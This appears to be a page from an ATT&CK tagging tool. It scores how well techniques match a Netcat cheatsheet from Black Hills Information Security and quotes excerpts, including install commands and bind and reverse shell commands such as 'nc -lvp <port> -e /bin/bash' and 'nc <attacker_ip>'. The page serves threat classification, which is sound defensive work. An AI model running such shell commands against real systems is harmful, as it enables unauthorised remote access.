Netcat (nc) Cheatsheet
ATT&CK techniques detected
T1046Network Service Discovery
98%
“##cat : sudo apt install netcat - openbsd traditional netcat : sudo apt install netcat - traditional arch linux gnu netcat : sudo pacman - s gnu - netcat openbsd netcat : sudo pacman - s openbsd - netcat macos install using homebrew : brew install netcat windows your best bet is …”
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1021.001Remote Desktop Protocol
52%
“messages in real time — effectively creating a minimal chat environment using only the terminal. 6. reverse shells bind a shell for remote access ( attacker - controlled listener ) : nc - lvp < port > - e / bin / bash reverse shell ( victim - controlled ) : nc < attacker _ ip > <…”
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
T1572Protocol Tunneling
33%
“messages in real time — effectively creating a minimal chat environment using only the terminal. 6. reverse shells bind a shell for remote access ( attacker - controlled listener ) : nc - lvp < port > - e / bin / bash reverse shell ( victim - controlled ) : nc < attacker _ ip > <…”
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Summary

Netcat is a network utility tool that has earned the nickname "The Swiss Army Knife" of networking. It can be used for file transfers, chat/messaging between systems, port scanning, and much more.
The post Netcat (nc) Cheatsheet appeared first on Black Hills Information Security, Inc..